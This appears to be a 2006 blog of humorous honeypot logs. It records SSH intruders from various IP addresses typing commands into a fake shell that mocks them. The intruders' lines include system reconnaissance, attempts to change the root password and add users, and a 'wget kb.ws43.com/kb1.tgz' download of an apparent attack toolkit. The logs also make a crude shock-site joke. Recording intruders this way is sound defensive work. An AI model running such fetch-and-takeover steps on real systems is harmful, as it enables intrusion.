Monday, October 16, 2006

Connected from 81.89.10.92

sh-3.00# w
-bash: w: command not found
sh-3.00# ls
-bash: ls: command not found
sh-3.00# cd tmp
-bash: cd: command not found... perhaps you should consult the manual.
sh-3.00# yes
-bash: Yet@: command not found
sh-3.00# ls
-bash: *Ls~: command not found, fatfingers
sh-3.00# ls -a
ls: Permission denied
sh-3.00# chmod +x *
Running "chmod" as "root"...oops, that didn't work.
sh-3.00# yes
Well THAT's never going to work.
sh-3.00# shut down
Are you sure you know what you're doing?
sh-3.00# dasdasdsasa
Look, it's not that hard.
sh-3.00# ads
I'm afraid I can't do that, Dave.
sh-3.00# dsa
How about a nice game of chess?
sh-3.00# dsa
My circuits need a rest. It's been nice chatting with you.

Wednesday, October 11, 2006

Connected from 85.186.28.29 1691 22

sh-3.00# passwd root
-bash: passwd: command not found
sh-3.00# passwd
-bash: passwd: command not found
sh-3.00# password
-bash: password: command not found... perhaps you should consult the manual.
sh-3.00# ls
-bash: Lt@: command not found
sh-3.00# uname -a
CIA Top Sec^H^H^H^H^H^H^H^H^H^H^H Linux 2.6.1
sh-3.00# ps -x
-bash: *Pt~: command not found, fatfingers
sh-3.00# px s
px: Permission denied
sh-3.00# help
Running "help" as "root"...oops, that didn't work.
sh-3.00# root
Well THAT's never going to work.
sh-3.00# dir
Are you sure you know what you're doing?
sh-3.00# -
Look, it's not that hard.
sh-3.00# *
I'm afraid I can't do that, Dave.
sh-3.00# :D
How about a nice game of chess?
sh-3.00# cat /proc/pcuinfo
My circuits need a rest. It's been nice chatting with you.

Tuesday, October 03, 2006

oppps i did it again

Connected from 151.82.0.217 1132 22
sh-3.00# ls
-bash: ls: command not found
sh-3.00# ww
-bash: ww: command not found
sh-3.00# w
-bash: w: command not found... perhaps you should consult the manual.
sh-3.00# ps x
-bash: Pt@: command not found
sh-3.00# uname -a
CIA Top Sec^H^H^H^H^H^H^H^H^H^H^H Linux 2.6.1
sh-3.00# cat /proc/cpuinfo
-bash: *Cbu~: command not found, fatfingers
sh-3.00# vhost
vhost: Permission denied
sh-3.00# wget
--08:23:55-- http://www.goatse.cx
=> `index.html'
Resolving www.goatse.cx...127.0.0.1
Connecting to www.goatse.cx127.0.0.1:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,707 (4.6K) [zomg/goatse]

100%[====================================>] 4,707 --.--K/s

08:23:55 (376.31 KB/s) - `lol.teh.goatse' saved [4707/4707]

sh-3.00# ls -a
Running "ls" as "root"...oops, that didn't work.
sh-3.00# oppps
Well THAT's never going to work.
sh-3.00# oops
Are you sure you know what you're doing?
sh-3.00# root
Look, it's not that hard.
sh-3.00# passwd
I'm afraid I can't do that, Dave.
sh-3.00# paswwd
How about a nice game of chess?
sh-3.00# passwd root
My circuits need a rest. It's been nice chatting with you.

Friday, September 22, 2006

4-in-1 update

Connected from 89.120.97.50 10118 22
sh-3.00# ls
-bash: ls: command not found
sh-3.00# uptime
-bash: uptime: command not found
sh-3.00# ?
-bash: ?: command not found... perhaps you should consult the manual.
sh-3.00# help
-bash: Helq@: command not found
sh-3.00# enable
-bash: *Eobble~: command not found, fatfingers
sh-3.00# ping
ping: Permission denied
sh-3.00# ls -a
Running "ls" as "root"...oops, that didn't work.
sh-3.00# adduser
Well THAT's never going to work.
sh-3.00# addusr
Are you sure you know what you're doing?
sh-3.00# ?
Look, it's not that hard.
sh-3.00# help
I'm afraid I can't do that, Dave.

Connected from 89.120.97.50 10191 22
sh-3.00# enable-shell
-bash: enable-shell: command not found
sh-3.00#
sh-3.00# enable bash
-bash: enable: command not found
sh-3.00# enable-bash
-bash: enable-bash: command not found... perhaps you should consult the manual.
sh-3.00# ?
-bash: ?@: command not found
sh-3.00# help
-bash: *Hemp~: command not found, fatfingers
sh-3.00# ??
??: Permission denied
sh-3.00# uname -a
CIA Top Sec^H^H^H^H^H^H^H^H^H^H^H Linux 2.6.1
sh-3.00# ca /vba
Running "ca" as "root"...oops, that didn't work.
sh-3.00# cd /var/tmp/
Well THAT's never going to work.
sh-3.00# chmod 777 *
Are you sure you know what you're doing?
sh-3.00# tar
Look, it's not that hard.
sh-3.00# wget
--16:39:02-- http://www.goatse.cx
=> `index.html'
Resolving www.goatse.cx...127.0.0.1
Connecting to www.goatse.cx[127.0.0.1]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,707 (4.6K) [zomg/goatse]
100%[====================================>] 4,707 --.--K/s
16:39:02 (376.31 KB/s) - `lol.teh.goatse' saved [4707/4707]
sh-3.00# pico lol.teh.goatse
I'm afraid I can't do that, Dave.
sh-3.00# wget kb.ws43.com/kb1.tgz
--16:39:18-- http://www.goatse.cx
=> `index.html'
Resolving www.goatse.cx...127.0.0.1
Connecting to www.goatse.cx[127.0.0.1]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,707 (4.6K) [zomg/goatse]
100%[====================================>] 4,707 --.--K/s
16:39:18 (376.31 KB/s) - `lol.teh.goatse' saved [4707/4707]
sh-3.00# ftp
How about a nice game of chess?
sh-3.00# enable shell
My circuits need a rest. It's been nice chatting with you.

Connected from 86.35.188.19 1340 22
sh-3.00# cat /proc/cpuinfo
-bash: cat: command not found
sh-3.00# wget
--16:40:34-- http://www.goatse.cx
=> `index.html'
Resolving www.goatse.cx...127.0.0.1
Connecting to www.goatse.cx[127.0.0.1]:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4,707 (4.6K) [zomg/goatse]
100%[====================================>] 4,707 --.--K/s
16:40:34 (376.31 KB/s) - `lol.teh.goatse' saved [4707/4707]
sh-3.00# tar
-bash: tar: command not found
sh-3.00# ls -a
-bash: ls: command not found... perhaps you should consult the manual.
sh-3.00# uname -a
CIA Top Sec^H^H^H^H^H^H^H^H^H^H^H Linux 2.6.1

Connected from 89.136.226.131 1574 22
sh-3.00# w
-bash: w: command not found
sh-3.00# ps x
-bash: ps: command not found
sh-3.00# uname a
CIA Top Sec^H^H^H^H^H^H^H^H^H^H^H Linux 2.6.1

Thursday, September 21, 2006

Connected from 86.122.136.2 3562 22

sh-3.00# w
-bash: w: command not found
sh-3.00# ls -a
-bash: ls: command not found
sh-3.00# uname -a
CIA Top Sec^H^H^H^H^H^H^H^H^H^H^H Linux 2.6.1

Tuesday, September 19, 2006

Connected from 60.12.128.152 44932 22

sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?

Connected from 80.96.171.131 3650 22

sh-3.00# w
-bash: w: command not found
sh-3.00# uname
-bash: uname: command not found
sh-3.00#
sh-3.00# tar
-bash: tar: command not found... perhaps you should consult the manual.
sh-3.00# wget
-bash: Wget@: command not found
sh-3.00# curl
-bash: *Cusm~: command not found, fatfingers
sh-3.00# ftp
ftp: Permission denied
sh-3.00# ps x
Running "ps" as "root"...oops, that didn't work.
sh-3.00# cat /proc/cpuinfo
Well THAT's never going to work.
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^C
Oh, I don't think so.
sh-3.00# ^C
Oh, I don't think so.
sh-3.00# ^C
Oh, I don't think so.
sh-3.00# ^C
Oh, I don't think so.
sh-3.00#

Connected from 80.96.171.131 3422 22

sh-3.00# w
-bash: w: command not found
sh-3.00# uname
-bash: uname: command not found
sh-3.00# wget
-bash: wget: command not found... perhaps you should consult the manual.
sh-3.00# curl
-bash: Cvrm@#: command not found
sh-3.00# tar
-bash: Tar(: command not found, fatfingers
sh-3.00# tar xvfz
tar: Permission denied
sh-3.00# ^D
Leaving so soon?
sh-3.00# ^C
Oh, I don't think so.
sh-3.00# ^C
Oh, I don't think so.
sh-3.00# ^C
Oh, I don't think so.
sh-3.00# ^C
Oh, I don't think so.
sh-3.00# ^C
Oh, I don't think so.
sh-3.00# ^C
Oh, I don't think so.
sh-3.00#

Connection from 85.120.68.100 2071 22

sh-3.00# w
-bash: w: command not found
sh-3.00# ls
-bash: ls: command not found
sh-3.00# wget
-bash: wget: command not found... perhaps you should consult the manual.
sh-3.00# uname -a
Running "uname -a" as root...no, just kidding!
sh-3.00# bash
Well THAT's never going to work.
sh-3.00# ?
Are you sure you know what you're doing?
sh-3.00# help
Look, it's not that hard.
sh-3.00# cat
I'm afraid I can't do that, Dave.
sh-3.00# w
How about a nice game of chess?
sh-3.00# uptime
My circuits need a rest. It's been nice chatting with you.